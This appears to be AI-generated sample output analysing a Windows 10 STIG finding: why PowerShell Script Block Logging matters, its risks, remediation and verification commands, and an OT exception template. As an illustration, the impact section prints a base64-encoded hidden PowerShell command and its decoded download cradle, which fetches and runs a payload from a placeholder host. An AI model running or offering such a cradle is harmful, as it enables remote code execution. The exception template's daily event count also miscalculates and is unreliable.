STIG Finding Analysis: PowerShell Script Block Logging
March 29, 2026 ยท View on GitHub
Sample Output: Generated by the
stig-analystagent. This demonstrates STIG compliance analysis with remediation guidance, risk scoring, and operational impact assessment.
STIG Finding Analysis: PowerShell Script Block Logging
Finding Summary
| Field | Value |
|---|---|
| STIG ID | V-220768 |
| Rule ID | SV-220768r958434_rule |
| Severity | CAT II (Medium) |
| STIG Title | Windows 10 Security Technical Implementation Guide |
| Finding | PowerShell Script Block Logging must be enabled |
| Status | Open (Non-Compliant) |
| CCI | CCI-000135 |
| NIST SP 800-53 | AU-3(1): Content of Audit Records: Additional Audit Information |
| Fix ID | F-22057r554615_fix |
| Check ID | C-22082r554614_chk |
Security Impact
Why This Matters
PowerShell is the most commonly abused living-off-the-land binary (LOLBin) in modern Windows attacks. Adversaries use PowerShell at virtually every stage of the kill chain:
| Attack Phase | PowerShell Usage | ATT&CK ID |
|---|---|---|
| Initial Access | Download cradles (IEX (New-Object Net.WebClient).DownloadString(...)) | T1059.001 |
| Execution | Encoded commands (powershell -enc <base64>) | T1059.001 |
| Defense Evasion | AMSI bypass, obfuscation, reflection-based loading | T1562.001 |
| Credential Access | Mimikatz via PowerShell, Invoke-Kerberoast | T1003.001 |
| Discovery | AD enumeration (PowerView, ADModule) | T1087.002 |
| Lateral Movement | Invoke-Command, Enter-PSSession, WinRM | T1021.006 |
| Exfiltration | Data compression and transfer via PowerShell | T1041 |
Without Script Block Logging enabled, the following attacker techniques go unrecorded:
-
Encoded commands: Attackers routinely base64-encode their payloads (
-EncodedCommand/-enc). Standard command-line logging only captures the encoded string, but Script Block Logging captures the decoded content after PowerShell processes it. -
In-memory execution: Fileless malware that executes entirely in PowerShell memory leaves no file system artifacts. Script Block Logging is one of the few forensic sources that captures this activity.
-
Obfuscated scripts: Tools like Invoke-Obfuscation can transform PowerShell commands to evade string-based detection. Script Block Logging records the deobfuscated script block as PowerShell interprets it, defeating most obfuscation techniques.
-
Dynamic code generation: Attackers use
[System.Reflection.Assembly]::Load()andAdd-Typeto compile and execute C# code at runtime. Script Block Logging captures the code being compiled.
Real-World Attack Example
Consider this common post-exploitation command:
# What command-line logging sees:
powershell.exe -nop -w hidden -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgA1ADAALwBwAGEAeQBsAG8AYQBkAC4AcABzADEAJwApAA==
# What Script Block Logging captures (the DECODED content):
IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.50/payload.ps1')
Without Script Block Logging, incident responders see only the base64 blob. With it enabled, the full decoded command, the downloaded script content, and every subsequent command executed by that script are all captured in Windows Event Log ID 4104.
Risk Assessment
Risk-to-Remediate Score: 3/10 (Low Risk)
| Factor | Score | Notes |
|---|---|---|
| Likelihood of breakage | 1/10 | Logging is a passive, non-invasive change. It does not block, modify, or interfere with script execution. |
| Performance impact | 2/10 | Minimal CPU/disk overhead for typical workloads. Measurable but tolerable impact in high-volume automation scenarios. |
| Complexity of implementation | 1/10 | Single GPO setting; no application changes required. |
| Rollback difficulty | 1/10 | Disable the same GPO setting to revert instantly. |
| Testing requirements | 2/10 | Verify event generation on pilot systems; monitor event log volume for 1-2 weeks. |
What Could Break
While Script Block Logging is generally safe to enable, the following scenarios warrant consideration:
| Scenario | Impact | Likelihood | Mitigation |
|---|---|---|---|
| High-volume PowerShell automation (SCCM/MECM) | SCCM site servers execute thousands of PowerShell scripts daily for client health checks, compliance scans, and software deployment. Script Block Logging can generate significant event log volume (10-50 GB/day on busy site servers). | Medium | Increase Security event log max size to 4 GB on SCCM servers. Forward events to SIEM and configure retention policies. |
| System Center Orchestrator / Azure Automation | Orchestrator runbooks that execute PowerShell in tight loops (e.g., monitoring scripts running every 30 seconds) will generate proportionally high log volume. | Medium | Evaluate per-host event volume during pilot. Consider selective GPO targeting to exclude dedicated automation servers if volume is unmanageable. |
| PowerShell-based monitoring tools | Tools like PRTG, SolarWinds, or custom monitoring scripts that poll system health via PowerShell every few minutes will increase log volume. | Low-Medium | Document expected volume increase during baseline period. |
| Legacy scripts with sensitive data | Some older scripts pass credentials or connection strings as plaintext parameters. Script Block Logging will capture these values in the event log, potentially creating a new credential exposure vector. | Low | Audit scripts for plaintext credentials and remediate them regardless of this STIG (this is a security issue independent of logging). |
| Event log overflow | If the Security event log has a small maximum size and is set to "Do not overwrite events," the increased volume could cause the log to fill and stop recording events. | Low | Set log to "Overwrite events as needed" or increase max size. Forward to SIEM for long-term retention. |
Remediation
Method 1: Group Policy (Recommended)
GPO Path:
Computer Configuration
> Policies
> Administrative Templates
> Windows Components
> Windows PowerShell
> Turn on PowerShell Script Block Logging
--> Set to: Enabled
Optional sub-setting: "Log script block invocation start / stop events". Enable this for additional context on when script blocks begin and end execution. This generates Event ID 4105 and 4106 in addition to 4104. Only enable if your SIEM can handle the additional volume.
Method 2: Registry (Direct Application)
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /v EnableScriptBlockLogging /t REG_DWORD /d 1 /f
Additional Recommended Logging Settings
For full PowerShell visibility, enable all three logging mechanisms:
| Setting | GPO Path | Registry Key | Event IDs |
|---|---|---|---|
| Script Block Logging (this STIG) | Windows PowerShell > Turn on PowerShell Script Block Logging | HKLM\...\ScriptBlockLogging\EnableScriptBlockLogging = 1 | 4104, 4105, 4106 |
| Module Logging | Windows PowerShell > Turn on Module Logging (set modules to *) | HKLM\...\ModuleLogging\EnableModuleLogging = 1 + ModuleNames\* = * | 4103 |
| Transcription Logging | Windows PowerShell > Turn on PowerShell Transcription | HKLM\...\Transcription\EnableTranscripting = 1 + OutputDirectory = <path> | N/A (file-based) |
Module Logging captures pipeline execution details and is complementary to Script Block Logging. Transcription Logging writes a full transcript of every PowerShell session to a file, providing a human-readable record. Together, these three settings provide defense-in-depth for PowerShell monitoring.
Registry paths for additional settings:
:: Module Logging
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" /v EnableModuleLogging /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging\ModuleNames" /v * /t REG_SZ /d * /f
:: Transcription Logging
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" /v EnableTranscripting /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" /v EnableInvocationHeader /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" /v OutputDirectory /t REG_SZ /d "\\fileserver\pslogs$\%COMPUTERNAME%" /f
Verification
Registry Verification
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" /v EnableScriptBlockLogging
Expected output:
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
EnableScriptBlockLogging REG_DWORD 0x1
PowerShell Verification One-Liner
$val = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging' -Name 'EnableScriptBlockLogging' -ErrorAction SilentlyContinue).EnableScriptBlockLogging; if ($val -eq 1) { Write-Host "COMPLIANT: Script Block Logging is enabled" -ForegroundColor Green } else { Write-Host "NON-COMPLIANT: Script Block Logging is not enabled (Value: $val)" -ForegroundColor Red }
Functional Verification
After enabling, verify that events are being generated:
# Execute a test command
Write-Host "STIG Verification Test - Script Block Logging"
# Check for the resulting event
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -MaxEvents 5 |
Where-Object { $_.Id -eq 4104 } |
Select-Object TimeCreated, Id, Message | Format-List
Compliance Mapping
| Framework | Control | Description |
|---|---|---|
| NIST SP 800-53 Rev 5 | AU-3(1) | Content of Audit Records: Additional Audit Information |
| NIST SP 800-53 Rev 5 | AU-12 | Audit Record Generation |
| CCI | CCI-000135 | The information system generates audit records containing additional, more detailed information required by organizational policy |
| CMMC Level 2 | AU.L2-3.3.1 | Create and retain system audit logs and records |
| PCI DSS 4.0 | 10.2.1 | Audit logs capture individual user access to cardholder data |
| HIPAA | 164.312(b) | Audit Controls: implement mechanisms to record and examine activity |
Keep-Open Justification Example
The following is a template for documenting a justified exception when remediation is not immediately feasible.
STIG Exception Request: V-220768: PowerShell Script Block Logging
System: SCADA-HMI-01 (10.10.3.200) Classification: Operational Technology (OT), Industrial Control System Requested By: [REDACTED], OT Security Lead Date: 2024-09-15 Review Date: 2025-03-15
Justification:
The SCADA Human-Machine Interface (HMI) workstation SCADA-HMI-01 runs a proprietary process control application (Vendor: [REDACTED], Version 4.2.1) that uses PowerShell scripts for real-time data acquisition from PLCs at 500ms polling intervals. Enabling Script Block Logging on this system causes the following operational impacts, confirmed during a controlled test on 2024-08-20:
-
Latency increase: PowerShell script execution latency increased from ~15ms to ~45ms per cycle due to synchronous event log writes, causing intermittent data acquisition timeouts that trigger false alarms in the SCADA control system.
-
Event log volume: The system generates approximately 172,800 script block events per day (2 scripts x 1 invocation/500ms x 86,400 seconds). At ~2KB per event, this adds ~330MB/day to the Security event log, accelerating log rotation and potentially overwriting critical security events.
-
Vendor support: The control system vendor has stated in writing (reference: Support Ticket #[REDACTED]) that enabling Script Block Logging is not a tested configuration and may void support coverage for the process control application.
Compensating Controls:
| Control | Description |
|---|---|
| Network segmentation | SCADA-HMI-01 is on an isolated OT VLAN (10.10.3.0/24) with no direct internet access and firewall rules restricting traffic to PLC subnet only |
| Application whitelisting | AppLocker policy restricts execution to the vendor application, approved system binaries, and two specific signed PowerShell scripts |
| Constrained Language Mode | PowerShell is configured in Constrained Language Mode, preventing use of .NET classes, COM objects, and most attack techniques |
| Enhanced monitoring | Sysmon is deployed with configuration capturing process creation (Event 1), network connections (Event 3), and image loads (Event 7) for PowerShell.exe |
| Module Logging enabled | PowerShell Module Logging (V-220767) IS enabled on this system as it has lower performance overhead than Script Block Logging |
| Physical security | The workstation is in a locked control room with badge access; USB ports are disabled via GPO |
Risk Acceptance: The residual risk of not enabling Script Block Logging on this specific system is accepted by [REDACTED], ISSM, based on the compensating controls above. This exception applies ONLY to SCADA-HMI-01 and will be reviewed in 6 months or upon any system upgrade, whichever comes first.
Analysis generated for STIG compliance assessment. Remediation guidance applies to Windows 10 and Windows Server 2016/2019/2022. Verify vendor compatibility before applying to specialized systems.